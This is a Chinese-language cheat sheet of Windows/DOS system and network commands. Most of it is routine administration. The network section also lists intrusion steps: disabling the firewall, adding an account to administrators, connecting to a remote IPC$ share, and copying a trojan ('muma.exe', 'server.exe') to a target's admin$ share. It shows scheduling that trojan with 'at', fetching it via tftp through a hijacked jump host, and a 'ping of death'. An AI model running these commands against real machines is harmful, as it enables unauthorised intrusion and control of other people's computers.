一.系统DOS命令
cd 改变当前目录 cd.. 反回上一级目录 cd\ 反回根目录 cd c:\windows 进入Windows目录 start windows可以用来打开windows文件夹 start wo.txt可以打开wo编辑框 start winrar.exe可以用来打开winrar软件 edit可以用来编辑文件可以是程序或者是文本文件 edit wo.txt 是对wo这个文本文件进行编辑】 edit /g是加速显示cga; edit还有很多的参数 expand 文件名 目的地 用来扩大压缩的dos文件 help用来查找有关dos的命令名 help xcopy用来查看有关xcopy的参数 fc c:\wo.txt d:\xiang.txt是用来比较wo和xiang的文件的不同的 help fc查看fc的参数 fc==comp==diskcomp都是比较用的 find是用来查找string是否在一个文件中 find "shj" c:\wo.txt /c如果shj在wo中则为1,否则为0 if进行条件测试 label c: guanshan把c盘的名字该为guanshan label d: songman 和上面的意思一样 label c:==vol c:都能显示卷标和序号
============================================================================ md==mkdir 建立子目录 c:\>md guan
c:\>md guanshan
c:\>start fei c:\>dd.txt c:\>move d:\dd.txt c:\把d盘的dd转移到c盘 mem 用来显示什么存储器有效和如何备用的 ============================================================================ chkdsk /? CHKDSK是一磁盘检测命令。 CHKDSK命令可检查磁盘状态并显示状态报告,还能修正磁盘错误。 chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误 chkdsk *.* ============================================================================ del c:\1.txt/p /p 删除时要求确认 del c:\*.* del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、 系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件
del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同) DEL==ERASE他们的功能相同 help用来寻求帮助的 ============================================================================ rd 删除目录,担前提是要保证要删除的目录是空的 rd c:\1\2 rd c:\1 ============================================================================ ren 重命名 ren c:\1 2 ren c:\1\*.txt *.jpg ============================================================================ dir 显示磁盘内容 dir/w/a/p /p 分屏显示 /w 宽行显示 省去了具体的信息 dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间 dir /s 文件名 dir d:\对d盘目录的查看 vol 是查看当前卷标记和卷系 LABEL echo wo对echo后面的内容进行回显;输入echo可以查看它是开还是关 ============================================================================ format g: 对磁盘格式化,即高级格式化 /u 无条件格式化磁盘,格式化时将不保留磁盘原先的任何信息。一般要第一次格式化磁盘时,可使用 这个参数,减少格式化所需的时间 /q 快速格式化,这外参数可在对已做过格式化的磁盘进行格式化时使用。可以减少对磁盘的伤害。 /s 使格式化后的C盘成为启动盘,格式化后,可以用C:盘直接启动 ============================================================================ date 当前日期: 2007-06-09 星期六 time 当前时间: 15:36:25.54 net time \\192.168.1.106 net time 目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息 date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间 ============================================================================ tree 显示指定驱动器上所有目录的路径和目录下的所有文件名,以树状显示. tree /f 显示所有目录及目录下的所有文件 ============================================================================ type 显示文件内容 type c:\boot.ini tpye c:\1.txt ============================================================================ copy copy c:\1.txt d:\ copy c:\1\*.txt d:\1 copy c:\1.txt+2.txt+3.txt d:\1\4.txt ============================================================================ xcopy 是copy 的扩展,可以把指定的目录连文件全部拷贝,担不能拷贝隐藏文件和系统文件! xcopy c:\1 /s d:\2 /s 指原目录下和子目录下对其拷贝. /Y 文件 c:\>xcopy d:\aa c:\bb把aa中的内容拷贝到bb中 ============================================================================ move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 ============================================================================ fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令 ============================================================================ tasklist 显示在本地或是远程计算机上的所有进程 tasklist /svc 显示每个进程的服务 tasklist /s 192.168.1.106 /u administrator /p 123 这项是依靠RPC服务的开启 taskkill -pid ID号 ============================================================================
二.网络DOS命令
ipconfig /? 显示所有的TCP/IP 的网络配置值 ipconfig /all 显示所有的TCP/IP 的网络配置值 ipconfig /renew 更新DHCP配置的参数 ipconfig /release 发布当前的DHCP配置 ============================================================================ netstat /? netstat -a 查看开启了哪些端口,常用netstat -an netstat -n 查看端口的网络连接情况,常用netstat -an netstat -v 查看正在进行的工作 netstat -p 协议名 netstat -s 查看正在使用的所有协议使用情况 ============================================================================ net config 显示当前运行的可配置服务或显示并修改某项服务的设置(显示系统网络设置 ) 正在运行的服务 net config workstation 本机的配置信息。计算机名,全名,用户名,软件版本。 ============================================================================ net user 查看用户 net user fei /add 添加用户 net user fei fei 密码为fei net user fei 查看用户资料 net localgroup 查看本地组 net localgroup administrators fei /add net localgroup administrators fei /del 从管理员组中删除 net user fei /del ============================================================================ net user guest /active:yes 激活guest net user guest 123 ============================================================================ net share 显示,创建,删除共享资源 net share s=d:\共享名 net share 共享名 /del ============================================================================ net start net start 服务名 net stop 服务名 net pause 服务名 暂停某服务 ============================================================================ net use 连接计算机或断开计算机与共享资料的连接以及显示计算机的连接信息 net use \\192.168.1.106\ipc$ "密码" /user:"用户名" net use \\192.168.1.106\ipc$ /delete 删除共享连接 ============================================================================ net send ip "文本信息" 向对方发信息 ============================================================================ net stop sharedaccess 关闭防火墙 ============================================================================ net view 查看本地局域网内开启了哪些共享 net view ip 查看对方局域网内开启了哪些共享 ============================================================================ nslookup 查询一台机器的IP地址和对应的DNS域名 (扩充说明:当我们遇到网络故障时可以通过查看 DNS信息来判断故障) ============================================================================ nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名 -注意:参数-A要大写 ============================================================================ tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。 ============================================================================ ping 用于检测网络的连接性,可到达性,以及名称解释的一个主要的TCP/IP命令。 ping www.sina.com -t 指可以持续的发送请求,当按上ctrl+c即可停止 -n 指定发送回响请求的次数. -a 对目的IP地址进行反向解释. -l 200 指定发送的回响请求消息中数据字段的长度. ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据 包大小”;“-n发送数据次数”;“-t”指一直ping。 ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) ============================================================================ at 必须在计划服务开启的情况下才能运行. at \\192.168.1.106 20:50 d:\muma.exe at \\192.168.1.103 /del ============================================================================ telnet ip 端口 远和登陆服务器,默认端口为23 ============================================================================ copy c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下
cls 清屏 ============================================================================ ver 查看系统版本号 ============================================================================ query user 查看用户 ============================================================================ tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:server.exe 登陆后,将“IP”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
tftp -i 对方IP put c:server.exe 登陆后,上传本地c:server.exe至主机 ============================================================================ ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时) ============================================================================ route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码 Netmask,网关地址Gateway addres,接口地址Interface ============================================================================ arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 ============================================================================ start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令 ============================================================================ attrib 文件名(目录名) 查看某文件(目录)的属性 attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性 ============================================================================ set 指定环境变量名称=要指派给变量的字符 设置环境变量 set 显示当前所有的环境变量 set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 ============================================================================ pause 暂停批处理程序,并显示出:请按任意键继续.... ============================================================================ echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中 ============================================================================ findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello ============================================================================ winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名) ============================================================================ regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示; regedit /e 注册表文件名 导出注册表 ==============================================
|